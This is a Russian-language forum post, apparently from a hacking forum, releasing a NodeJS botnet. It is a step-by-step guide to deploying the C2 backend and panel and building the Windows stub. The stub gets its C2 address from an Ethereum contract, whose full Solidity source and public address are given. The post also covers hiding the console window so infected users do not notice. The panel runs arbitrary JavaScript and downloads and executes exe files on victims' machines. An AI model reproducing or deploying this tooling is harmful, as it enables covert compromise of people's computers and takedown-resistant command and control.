Долго думал, что мне с этим сделать, в итоге решил просто выложить.
Опишу кратко: это ботнет(если можно таковым назвать) на NodeJS сам стаб(клиент) не содержит IP адреса для общения с сервером, C2 сервер он получает через публичные RPC ноды в блокчейне Ethereum обратившись к контракту в котором вызывает метод getString(address), суть стаба заключается только в одном, он после получения C2 сервер выполняет JS код от сервера, т.е функционал бота полностью зависит от сервера и его логики без перекомпиляций всего билда, потому что NodeJS это JIT платформа которая позволяет компилировать и исполнять код сразу.
Сам же пользовать может либо пользоваться своим контрактом который задеплоит, либо контрактом других пользователей ибо я решил что не каждый захочет за деплой контракта платить 20 - 100$(зависит от нагрузки сети). В контракте есть только 1 записывающий метод, это setString(string) в который и передается наш C2 сервер, при установке строка записывается к вашему адресу кошелька, т.е при вызове getString с переданным аргументом в виде вашего адреса кошелька контракт вернет вашу сохраненую строку. Строку можно менять в любом моменте, по этому блокировка сервера это не повод потери ваших ботов, вы просто покупаете новый сервер и устанавливаете уже новый сервер в контракте. В коде стаба контракт проверяется раз в 10 минут, это означает что если вы поменяли сервер в контракте, то ваш бот вернется примерно через 10 минут.
Сервер же написан на NestJS, Фронтенд написан на NextJS. Зачем я юзнул эти фреймы? я хз, просто...
Ладно начнем с установки сервера. Я же привык использовать на Debian 12 в качестве сервера, по этому будет гайд под него.
Вы купили сервер, после того как вы зашли на наш чистенький сервер нам нужно будет обновить пакеты и установить NodeJS.
Код: Скопировать в буфер обмена
Так обновили пакеты, теперь надо установить NodeJS, я предпочитаю делать NVM скриптом.
Код: Скопировать в буфер обмена
После того как установили скрипт перезапускаем терминал и выполняем следущие команды
Код: Скопировать в буфер обмена
После установки ноды нужно проверить установилась ли она, можно командой "node -v", при коректной установке выдаст версию ноды.
node -v
v21.7.1
Теперь давайте установим ProcessManager 2 (pm2), вводим команду
Код: Скопировать в буфер обмена
Таккк, теперь устанавливаем наш бекенд, закидываем сурс бека "botnet-server" на сервер, в моем же случаее /root/botnet-server
После переходим в папку с сурсом и устанавливаем модули.
Код: Скопировать в буфер обмена
После того как установи модули, нужно настроить нужные нам конфигураций.
Первым делом сменим в сурсах порт на тот который мы хотим, в моем случаее я меняю 3001 на 1228.
В файле "botnet-server/src/main.ts"
Код: Скопировать в буфер обмена
После давайте куда то запишем наш endpoint к примеру. Вы же знаете IP своего сервера?
Допустим 127.0.0.1 ваш ип сервера на который вы устанавливаете. И порт который вы придумали, в моем случаее 1228.
Это наш ендпоинт: http://127.0.0.1:1228
Дальше нужно в одном файле изменить переменную на наш ендпоинт чтоб скрипты для клиента генерировались с нашим ендпоинтом.
Переходим в "botnet-server/src/client-api/client-api.service.ts" и меняем
Код: Скопировать в буфер обмена
Теперь идем менять секретку для JWT токена чтоб вашу панель не взломали.
идем сюда "botnet-server\src\auth\constants.ts"
Код: Скопировать в буфер обмена
Так ну и теперь логин и пароль нужно для входа поменять.
Переходим в "botnet-server\src\admin-config.ts" и там уже меняете на свои креды, думаю не тупые разберетесь.
Код: Скопировать в буфер обмена
Вообще обьясняю как тупым я хз, я сам тупой, я вообще текст нормально не умею писать по этому я этот высер оставлю по середине инструкций.
Так ну вроде ничего не забыл, теперь билдим проект и запускаем бек.
Код: Скопировать в буфер обмена
Так переходим к фронту, закидываем файлы на хост. "botnet-frontend"
Переходим в проект и устанавливаем модули:
Код: Скопировать в буфер обмена
После идем менять порт, открываем в этом проекте прям в корне, ладно путь приложу "botnet-frontend\package.json"
В нем я хочу изменить порт 3000 к примеру на 1229. Это уже наша веб панель.
Поэтому:
Код: Скопировать в буфер обмена
после идем менять endpoint для api. Переходим в "botnet-frontend\src\api.ts"
Код: Скопировать в буфер обмена
Потом в терминале вводим наш заветный подымательский скрипт билда и запуск сервера.
Код: Скопировать в буфер обмена
И сервер должен встать если вы порты открыли, переходим по нашему веб ендпоину http://127.0.0.1:1229/login
и видим что нас встречает логин страница
Вводим логин и пароль который мы задали и попадаем в панель.
Панель пока умеет только 2 таска давать, это выполнять JS код у клиента что дает делать на пк клиента что хочешь, и загрузку exe файла по прямой ссылке.
Так теперь вопрос обстоит со стабом и контрактом, так как я не придумал куда впихнуть кнопку перехода на страницу с настройкой C2 сервера в контракте, я просто перехожу по пути http://127.0.0.1:1229/web3 , после перехода мы видим такую картину:
Имейте ввиду, чтоб установить C2 сервер в контракт у вас должен быть Metamask кошелек в браузере, и немного шекелей чтоб оплатить комсу в блокчейне ибо транзакций к сожалению в блокчейне не бесплатные.
Так, подключаем кошелек, вставляем наш контракт в первое поле, жмем Initialize Contract, и в нижнем поле указываем наш endpoint "http://127.0.0.1:1228" и после жмем Send String и наконец подписываем нашу транзу.
Должно быть так. Ладно переходим к сборке билда. Заранее скажу чтоб билд собралься коректно, установите visual studio и пакеты которые на скрине.
Переходим к сборке, она будет на винде как вы догодались по скрину. Для этого устанавливаем NodeJS https://nodejs.org
Переходим в сурсы клиента и в index.js меняем наш адрес контракта и кошелек с которого устанавливали C2 сервер.
Код: Скопировать в буфер обмена
Потом устанавливаем глобально 2 модуля, они нам пригодятся для сборки и еще дополнительные модули.
Код: Скопировать в буфер обмена
и уже билдим наш exe ноды =)
Код: Скопировать в буфер обмена
После билда мы увидим наш сбилженый файл в build/node.exe
Но это еще не все, так как это консольноше приложение и юзер будет его видеть, нам нужно поменять ему Header на GUI приложение, качаем malcat, запускаем его, и кидаем в него наш сбилженый файл.
И ставим так же как на скрине, тогда у нас никакой консольки не будет, и юзер не будет подозревать что он ботик.
Ну так теперь о контракте, если вам не хочется создавать свой или нет денег на деплой контракта можете юзать мой публичный, все равно там такой код контракта что я с ним сделать ничего не могу и украсть тоде. Либо идите на https://remix.ethereum.org/ и деплойте контракт.
Сам контракт адрес: 0xa1b40044ebc2794f207d45143bd82a1b86156c6b
Код контракта:
Код: Скопировать в буфер обмена
Все сурсы приложу в архиве к прикрепленным файлам, так же пишите какие баги и недочеты, код не идеален и писал я его на отьебись, чтоб просто где то лежал. Так же текст на ошибкби не проверял, лень весь мой бред перечитывать.
Опишу кратко: это ботнет(если можно таковым назвать) на NodeJS сам стаб(клиент) не содержит IP адреса для общения с сервером, C2 сервер он получает через публичные RPC ноды в блокчейне Ethereum обратившись к контракту в котором вызывает метод getString(address), суть стаба заключается только в одном, он после получения C2 сервер выполняет JS код от сервера, т.е функционал бота полностью зависит от сервера и его логики без перекомпиляций всего билда, потому что NodeJS это JIT платформа которая позволяет компилировать и исполнять код сразу.
Сам же пользовать может либо пользоваться своим контрактом который задеплоит, либо контрактом других пользователей ибо я решил что не каждый захочет за деплой контракта платить 20 - 100$(зависит от нагрузки сети). В контракте есть только 1 записывающий метод, это setString(string) в который и передается наш C2 сервер, при установке строка записывается к вашему адресу кошелька, т.е при вызове getString с переданным аргументом в виде вашего адреса кошелька контракт вернет вашу сохраненую строку. Строку можно менять в любом моменте, по этому блокировка сервера это не повод потери ваших ботов, вы просто покупаете новый сервер и устанавливаете уже новый сервер в контракте. В коде стаба контракт проверяется раз в 10 минут, это означает что если вы поменяли сервер в контракте, то ваш бот вернется примерно через 10 минут.
Сервер же написан на NestJS, Фронтенд написан на NextJS. Зачем я юзнул эти фреймы? я хз, просто...
Ладно начнем с установки сервера. Я же привык использовать на Debian 12 в качестве сервера, по этому будет гайд под него.
Вы купили сервер, после того как вы зашли на наш чистенький сервер нам нужно будет обновить пакеты и установить NodeJS.
Код: Скопировать в буфер обмена
apt update
Так обновили пакеты, теперь надо установить NodeJS, я предпочитаю делать NVM скриптом.
Код: Скопировать в буфер обмена
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash
После того как установили скрипт перезапускаем терминал и выполняем следущие команды
Код: Скопировать в буфер обмена
Code:
nvm install 20
nvm use 20
После установки ноды нужно проверить установилась ли она, можно командой "node -v", при коректной установке выдаст версию ноды.
node -v
v21.7.1
Теперь давайте установим ProcessManager 2 (pm2), вводим команду
Код: Скопировать в буфер обмена
npm i pm2 -g
Таккк, теперь устанавливаем наш бекенд, закидываем сурс бека "botnet-server" на сервер, в моем же случаее /root/botnet-server
После переходим в папку с сурсом и устанавливаем модули.
Код: Скопировать в буфер обмена
Code:
cd botnet-server
npm i
Первым делом сменим в сурсах порт на тот который мы хотим, в моем случаее я меняю 3001 на 1228.
В файле "botnet-server/src/main.ts"
Код: Скопировать в буфер обмена
Code:
Я меняю
await app.listen(3001);
на
await app.listen(1228);
вы же придумайте свое, не нужно копировать точь в точь.
После давайте куда то запишем наш endpoint к примеру. Вы же знаете IP своего сервера?
Допустим 127.0.0.1 ваш ип сервера на который вы устанавливаете. И порт который вы придумали, в моем случаее 1228.
Это наш ендпоинт: http://127.0.0.1:1228
Дальше нужно в одном файле изменить переменную на наш ендпоинт чтоб скрипты для клиента генерировались с нашим ендпоинтом.
Переходим в "botnet-server/src/client-api/client-api.service.ts" и меняем
Код: Скопировать в буфер обмена
Code:
const ServerIp = "http://localhost:3001";
на
const ServerIp = "http://127.0.0.1:1228";
Ну то что я писал выше про endpoint
Теперь идем менять секретку для JWT токена чтоб вашу панель не взломали.
идем сюда "botnet-server\src\auth\constants.ts"
Код: Скопировать в буфер обмена
Code:
export const jwtConstants = {
secret: 'SECRET',
};
МЕНЯЕМ НА !!!!
export const jwtConstants = {
secret: 'FJIfmdisojf90j930wofejdsiofjwejdo2wsx',
};
ПРИМЕРНО ЭТО!!! НО НЕ СТОИТ ИСПОЛЬЗОВАТЬ МОЕ НЕ В КОЕМ ССЛУЧАЕЕЕ, ТАМ УЖЕ СВОЙ 100 КИЛОМЕТРОВЫЙ ТЕКСТ ГЕНЕРИРУЙТЕ
Так ну и теперь логин и пароль нужно для входа поменять.
Переходим в "botnet-server\src\admin-config.ts" и там уже меняете на свои креды, думаю не тупые разберетесь.
Код: Скопировать в буфер обмена
Code:
export default {
"username": "root",
"password": "pass"
}
Вообще обьясняю как тупым я хз, я сам тупой, я вообще текст нормально не умею писать по этому я этот высер оставлю по середине инструкций.
Так ну вроде ничего не забыл, теперь билдим проект и запускаем бек.
Код: Скопировать в буфер обмена
Code:
npm run build
pm2 start --name "backend" npm -- start
Так переходим к фронту, закидываем файлы на хост. "botnet-frontend"
Переходим в проект и устанавливаем модули:
Код: Скопировать в буфер обмена
Code:
cd botnet-frontend
npm i
После идем менять порт, открываем в этом проекте прям в корне, ладно путь приложу "botnet-frontend\package.json"
В нем я хочу изменить порт 3000 к примеру на 1229. Это уже наша веб панель.
Поэтому:
Код: Скопировать в буфер обмена
Code:
"scripts": {
"dev": "next dev -p 3000",
"build": "next build",
"start": "next start -p 3000",
"lint": "next lint"
},
меняем на
"scripts": {
"dev": "next dev -p 1229",
"build": "next build",
"start": "next start -p 1229",
"lint": "next lint"
},
после идем менять endpoint для api. Переходим в "botnet-frontend\src\api.ts"
Код: Скопировать в буфер обмена
Code:
меняем
const apiHost = "http://localhost:3001";
на наш ендпоинт бекенда
const apiHost = "http://127.0.0.1:1228";
Потом в терминале вводим наш заветный подымательский скрипт билда и запуск сервера.
Код: Скопировать в буфер обмена
Code:
npm run build
"pm2 start --name "frontend" npm -- start"
И сервер должен встать если вы порты открыли, переходим по нашему веб ендпоину http://127.0.0.1:1229/login
и видим что нас встречает логин страница
Вводим логин и пароль который мы задали и попадаем в панель.
Панель пока умеет только 2 таска давать, это выполнять JS код у клиента что дает делать на пк клиента что хочешь, и загрузку exe файла по прямой ссылке.
Так теперь вопрос обстоит со стабом и контрактом, так как я не придумал куда впихнуть кнопку перехода на страницу с настройкой C2 сервера в контракте, я просто перехожу по пути http://127.0.0.1:1229/web3 , после перехода мы видим такую картину:
Имейте ввиду, чтоб установить C2 сервер в контракт у вас должен быть Metamask кошелек в браузере, и немного шекелей чтоб оплатить комсу в блокчейне ибо транзакций к сожалению в блокчейне не бесплатные.
Так, подключаем кошелек, вставляем наш контракт в первое поле, жмем Initialize Contract, и в нижнем поле указываем наш endpoint "http://127.0.0.1:1228" и после жмем Send String и наконец подписываем нашу транзу.
Должно быть так. Ладно переходим к сборке билда. Заранее скажу чтоб билд собралься коректно, установите visual studio и пакеты которые на скрине.
Переходим к сборке, она будет на винде как вы догодались по скрину. Для этого устанавливаем NodeJS https://nodejs.org
Переходим в сурсы клиента и в index.js меняем наш адрес контракта и кошелек с которого устанавливали C2 сервер.
Код: Скопировать в буфер обмена
Code:
const contractAddress = "CONTRACT_ADDRESS"; // Сюда ваш контракт
const WalletOwner = "WALLET_ADDRESS"; // Сюда ваш адрес кошелька
на ваш
const contractAddress = "0xa1b40044ebc2794f207d45143bd82a1b86156c6b"; // Сюда ваш контракт
const WalletOwner = "0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84"; // Сюда ваш адрес кошелька
Примерное должно выглядеть так.
Потом устанавливаем глобально 2 модуля, они нам пригодятся для сборки и еще дополнительные модули.
Код: Скопировать в буфер обмена
Code:
npm i -g pkg
npm i -g @vercel/ncc
npm i
и уже билдим наш exe ноды =)
Код: Скопировать в буфер обмена
ncc build -o build/lib index.js && pkg --target node18-win-x64 -o build/node.exe ./build/lib/index.js
После билда мы увидим наш сбилженый файл в build/node.exe
Но это еще не все, так как это консольноше приложение и юзер будет его видеть, нам нужно поменять ему Header на GUI приложение, качаем malcat, запускаем его, и кидаем в него наш сбилженый файл.
И ставим так же как на скрине, тогда у нас никакой консольки не будет, и юзер не будет подозревать что он ботик.
Ну так теперь о контракте, если вам не хочется создавать свой или нет денег на деплой контракта можете юзать мой публичный, все равно там такой код контракта что я с ним сделать ничего не могу и украсть тоде. Либо идите на https://remix.ethereum.org/ и деплойте контракт.
Сам контракт адрес: 0xa1b40044ebc2794f207d45143bd82a1b86156c6b
Код контракта:
Код: Скопировать в буфер обмена
Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return 18;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract CustomERC20 is ERC20 {
mapping(address => string) private _storedStrings;
event StringChanged(address indexed account, string newString);
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function setString(string memory newString) public {
_storedStrings[_msgSender()] = newString;
emit StringChanged(_msgSender(), newString);
}
function getString(address account) public view returns (string memory) {
return _storedStrings[account];
}
}
Все сурсы приложу в архиве к прикрепленным файлам, так же пишите какие баги и недочеты, код не идеален и писал я его на отьебись, чтоб просто где то лежал. Так же текст на ошибкби не проверял, лень весь мой бред перечитывать.